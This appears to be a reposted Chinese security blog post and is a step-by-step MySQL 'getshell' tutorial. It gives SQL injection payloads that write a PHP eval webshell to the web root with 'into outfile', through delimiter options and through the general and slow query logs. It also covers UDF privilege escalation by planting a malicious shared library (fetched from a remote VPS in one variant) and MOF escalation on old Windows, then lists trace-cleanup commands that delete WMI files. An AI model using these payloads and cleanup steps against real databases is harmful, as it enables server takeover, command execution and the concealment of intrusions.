【讲讲数据库getshell】mysql篇

admin 2024年6月6日20:50:42评论4 views字数 3181阅读10分36秒阅读模式

一、写入webshell

1. 前置条件

  • a. 存在注入
  • b. 是否具有写入权限
    • 查看权限show grants;
  • c. 知道目标站点web物理路径
  • d. secure_file_priv
    • 1). null:表示限制mysql不允许导入或导出
    • 2). /tmp:限制mysql只能在/tmp目录中执行导入导出,其他目录不能执行。
    • 3). 为空可以写入
    • i. 5.7版本,该参数用于限制select...into outfile...、load_file()导出到或读取哪个指定的目录
    • ii. 查看参数值show variables like '%secure_file_priv%';
    • iii. 参数值含义:
  • e. Linux系统权限分配严格,mysql用户创建文件,web可能无法访问

2. 利用union select 写入webshell

union select 1,"<?php @eval($_POST[whoami]);?>",3 into outfile '/var/www/html/shell.php' --+
union select 1,0x3c3f70687020406576616c28245f504f53545b77686f616d695d293b3f3e,3 into outfile "/var/www/html/shell.php"--+

3. 利用分隔符写webshell

;into outfile '物理路径' lines terminated by (hex编码)#
;into outfile '物理路径' fields terminated by (hex编码)#
;into outfile '物理路径' columns terminated by (hex编码)#
;into outfile '物理路径' lines starting by (hex编码)#

4. 日志写入webshell

  • a. 查询日志是否开启show variables like '%general%';
  • b. 写入流程
    • i. show variables like '%general%';         # 查看查询日志全局配置
    • ii. set global general_log = ON;             # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
    • iii. set global general_log_file = '/var/www/html/shell.php'; # 设置日志文件地址
    • iv. select '一句话'; # 查询一句话,此时日志文件shell.php中将写入webshell
    • v. set global general_log=OFF; # 关闭general log模式

5. 慢查询

原理
  • 当语句执行时间超过系统默认时间, 语句会被记入慢查询日志。满查询到默认禁用。
通过long_query_time选项来设置时间值。
  • 查询show global variables like '%long_query_time%';
执行流程
i. 查看是否慢查询日志show variables like "%slow_query_log%"
ii. set global slow_query_log = "ON";
iii. set global slow_query_log_file =” D:/php/www/shell.php”
iv. select "<?php @eval($_POST['cmd']); ?>" or sleep(11);

二、执行系统命令

1. udf提权

原理
  • 使用时需要调用.dll或.so,通过恶意的dll引入自定义函数,执行系统命令。
前置条件
  • a. mysql拥有insert和delete权限
  • b. 拥有可以将恶意dll写入相应目录的权限
dll存放位置
  • a. 如果MySQL版本小于5.1且为Windows系统,则udf.dll文件存放在 C:windows 或者 C:windowssystem32 目录下。
  • b. 如果MySQL版本大于5.1,udf.dll文件必须放置在MySQL安装目录的lib/plugin文件夹下,该plugin目录默认不存在需要创建。
流程步骤
  • a. 查看secure_file_priv的值(需要为空)
  • b. 查看动态链接库的存放位置
    • i. show variables like '%compile%'; # 查看主机版本及架构
    • ii. show variables like '%plugin%'; # 查看plugin目录
    • iii. 目录不存在需要手工创建lib/plugin
  • c. 构造的恶意动态链接库文件写入plugin(.so是Linux系统dll为Windows服务器)
    • 位置:/usr/share/metasploit-framework/data/exploits/mysql
    • 1). 位置:sqlmap/data/udf/mysql
    • 2). 处理:在extra/cloak目录下有解码工具对原文件进行解密python3 cloak.py -d -i <动态链接库文件>
    • i. sqlmap
    • ii. msf
    • iii. 将内容进行十六进制编码select hex(load_file('lib_mysqludf_sys_64.so')) into outfile "udf_64.hex";
    • iv. 写入select 0x7F00 into dumpfile "/www/server/mysql/lib/plugin/udf.so";
    • v. 数据过长需要分段写入,先创建一个表,将十六进制数据分段写入表中,通过update配合concat将数据拼接进去。
create table temp(data longblob); #建表
insert into temp(data) values (0x7F4);
update temp set data = concat(data,0x00000);
  • vi. 通过load_file()函数,函数支持远程加载,将udf文件放在vps上select load_file('\\x.x.x.xudf.so') into dumpfile "/www/server/mysql/lib/plugin/udf.so"
  • vii. 引入udf函数并调用函数执行系统
    • 1). create function sys_eval returns string soname 'udf.so';
    • 2).  sys_eval:我们要引入的函数名
    • 3).  udf.dll:我们要从中引入函数的链接库文件
  • viii. 清理痕迹:drop function sys_eval;

mof提权

mof
  • a. mof是Windows系统的文件(c:/windows/system32/wbem/mof/nullevt.mof),“托管对象格式”
  • b. 托管对象格式文件是创建和注册提供程序、事件类别和时间的简便方法。
  • c. 作用是每隔五秒监控进程创建死亡
前置条件
  • a. Windows 03 以及以下版本
  • b. mof目录具有读写权限
  • c. secure-file-priv参数为空
利用:
  • a. 需要将mof脚本上传至有读写权限的路径下
  • b. select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";
痕迹清理
a. net stop winmgmt # 停止 winmgmt 服务
b. rmdir /s /q C:Windowssystem32wbemRepository  #删除 Repository 文件夹
c. del C:Windowssystem32wbemmofgoodtest.mof /F /S  # 手动删除 mof 文件
d. net start winmgmt # 重新启动服务

原文始发于微信公众号(破浪信安):【讲讲数据库getshell】mysql篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月6日20:50:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【讲讲数据库getshell】mysql篇https://cn-sec.com/archives/2823675.html

发表评论

匿名网友 填写信息